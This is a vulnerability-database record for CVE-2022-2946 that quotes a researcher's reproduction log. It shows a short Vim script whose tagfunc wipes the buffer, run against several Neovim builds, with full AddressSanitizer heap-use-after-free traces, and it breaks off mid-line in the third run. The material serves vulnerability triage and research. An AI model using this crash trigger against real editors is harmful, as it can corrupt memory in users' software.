{"uuid": "bdfa7364-880a-4b85-8f80-95f1a4cf8553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2946", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/0c09a05021bf4dec6b239fd23d096cd9", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: new\n\nline 5: unlet! b:keymap_name\n\nline 6: cal assert_fails('ta0')\n\nline 6: ta0\n\ncalling 2_Tag0unc0('0', '', {})\n\nline 1: bw\n\n2_Tag0unc0 returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946/CVE-2022-2946\n\n=================================================================\n==10393==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006c10 at pc 0x000000479bb9 bp 0x7fff13f76ed0 sp 0x7fff13f76690\nREAD of size 2 at 0x602000006c10 thread T0\n    #0 0x479bb8 in strlen (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x479bb8)\n    #1 0xa66cbb in vim_vsnprintf_typval /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:954:25\n    #2 0xa65bcb in vim_vsnprintf /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:738:10\n    #3 0x89774e in semsgv /home/zzw/Desktop/neovim/build/../src/nvim/message.c:808:3\n    #4 0x8976a3 in semsg /home/zzw/Desktop/neovim/build/../src/nvim/message.c:773:9\n    #5 0xa864ae in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:507:9\n    #6 0x7460f5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6603:3\n    #7 0x73f79e in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6559:3\n    #8 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #12 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #13 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #14 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #15 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #16 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #17 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #18 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #19 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #20 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #21 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #22 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #23 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #24 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #25 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #26 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #27 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #28 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #29 0x7f2a7d049082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #30 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006c10 is located 0 bytes inside of 2-byte region [0x602000006c10,0x602000006c12)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0xb42790 in win_free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5046:5\n    #3 0xb35889 in win_free_mem /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3043:3\n    #4 0xb2362a in win_close /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2808:8\n    #5 0x5c95fb in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1299:11\n    #6 0x5cb9c6 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1001:11\n    #7 0x73c45d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4252:17\n    #8 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #12 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #13 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #14 0x668b06 in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1100:9\n    #15 0xa8f7d1 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1155:12\n    #16 0xa88284 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1494:14\n    #17 0xa8608f in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:468:11\n    #18 0x7460f5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6603:3\n    #19 0x73f79e in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6559:3\n    #20 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #22 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #23 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #24 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #25 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #26 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #27 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #28 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #29 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n\npreviously allocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x88a467 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:195:15\n    #4 0x88a4f7 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:213:17\n    #5 0x88a958 in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:432:10\n    #6 0xa8593b in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:254:41\n    #7 0x7460f5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6603:3\n    #8 0x73f79e in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6559:3\n    #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #12 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #13 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #14 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #15 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #16 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #17 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #22 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #23 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #24 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #26 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #27 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #28 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #29 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x479bb8) in strlen\nShadow bytes around the buggy address:\n  0x0c047fff8d30: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8d40: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8d50: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff8d60: fa fa fd fa fa fa fd fa fa fa 00 05 fa fa 04 fa\n  0x0c047fff8d70: fa fa 00 05 fa fa 04 fa fa fa fd fd fa fa 00 04\n=>0x0c047fff8d80: fa fa[fd]fa fa fa 02 fa fa fa fd fd fa fa fd fa\n  0x0c047fff8d90: fa fa fd fd fa fa 00 03 fa fa fd fa fa fa fd fa\n  0x0c047fff8da0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8db0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8dc0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fa fa\n  0x0c047fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==10393==ABORTING\n\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: new\n\nline 5: unlet! b:keymap_name\n\nline 6: cal assert_fails('ta0')\n\nline 6: ta0\n\ncalling function 1_Tag0unc0('0', '', {})\n\nline 1: bw\n\nfunction 1_Tag0unc0 returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2946/CVE-2022-2946\n\n=================================================================\n==10449==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200003af70 at pc 0x000000470b79 bp 0x7ffe5bdefed0 sp 0x7ffe5bdef690\nREAD of size 2 at 0x60200003af70 thread T0\n    #0 0x470b78 in strlen (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x470b78)\n    #1 0xf2bb04 in vim_vsnprintf_typval /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:979:25\n    #2 0xf29c61 in vim_vsnprintf /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:763:10\n    #3 0xb73662 in semsgv /home/zzw/Desktop/neovim/build/../src/nvim/message.c:787:3\n    #4 0xb7356f in semsg /home/zzw/Desktop/neovim/build/../src/nvim/message.c:751:9\n    #5 0xf73faf in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:522:9\n    #6 0x94e005 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8902:3\n    #7 0x93e6da in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8858:3\n    #8 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #9 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #10 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #11 0x76b1cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #12 0x81babc in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #13 0x7e5418 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #14 0x86f1d9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #15 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #16 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #17 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #18 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #19 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #20 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #21 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #22 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #23 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #24 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #25 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #26 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #27 0x7f816529d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #28 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x60200003af70 is located 0 bytes inside of 2-byte region [0x60200003af70,0x60200003af72)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d640d)\n    #1 0xb5f304 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x10f399f in win_free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4778:5\n    #3 0x10da1b9 in win_free_mem /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2787:3\n    #4 0x10b8a74 in win_close /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2565:8\n    #5 0x66d8ed in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1241:11\n    #6 0x671de4 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:956:11\n    #7 0x93776d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4978:17\n    #8 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #9 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #10 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #11 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #12 0x75342d in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1072:9\n    #13 0xf8753f in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1186:12\n    #14 0xf770ce in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1530:14\n    #15 0xf739cc in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:483:11\n    #16 0x94e005 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8902:3\n    #17 0x93e6da in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8858:3\n    #18 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #19 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #20 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #21 0x76b1cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #22 0x81babc in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #23 0x7e5418 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #24 0x86f1d9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #25 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #26 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #27 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #28 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #29 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n\npreviously allocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n    #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xb5f66d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:187:15\n    #4 0xb5f6e8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:205:17\n    #5 0xb5fe3b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:424:10\n    #6 0xf27014 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:57:20\n    #7 0xf7236e in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:261:41\n    #8 0x94e005 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8902:3\n    #9 0x93e6da in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8858:3\n    #10 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #13 0x76b1cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6311:3\n    #14 0x81babc in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:511:26\n    #15 0x7e5418 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:198:3\n    #16 0x86f1d9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1593:15\n    #17 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #18 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #19 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #20 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #21 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #22 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #23 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #24 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #25 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #26 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #27 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #28 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #29 0x7f816529d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x470b78) in strlen\nShadow bytes around the buggy address:\n  0x0c047ffff590: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff5a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff5b0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047ffff5c0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff5d0: fa fa fd fa fa fa 00 05 fa fa 04 fa fa fa 00 05\n=>0x0c047ffff5e0: fa fa 04 fa fa fa fd fd fa fa 00 04 fa fa[fd]fa\n  0x0c047ffff5f0: fa fa 02 fa fa fa fd fd fa fa fd fa fa fa fd fd\n  0x0c047ffff600: fa fa 00 03 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff610: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff620: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff630: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==10449==ABORTING\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: new\n\nline 5: unlet! b:keymap_name\n\nline 6: cal assert_fails('ta0')\n\nline 6: ta0\n\ncalling function 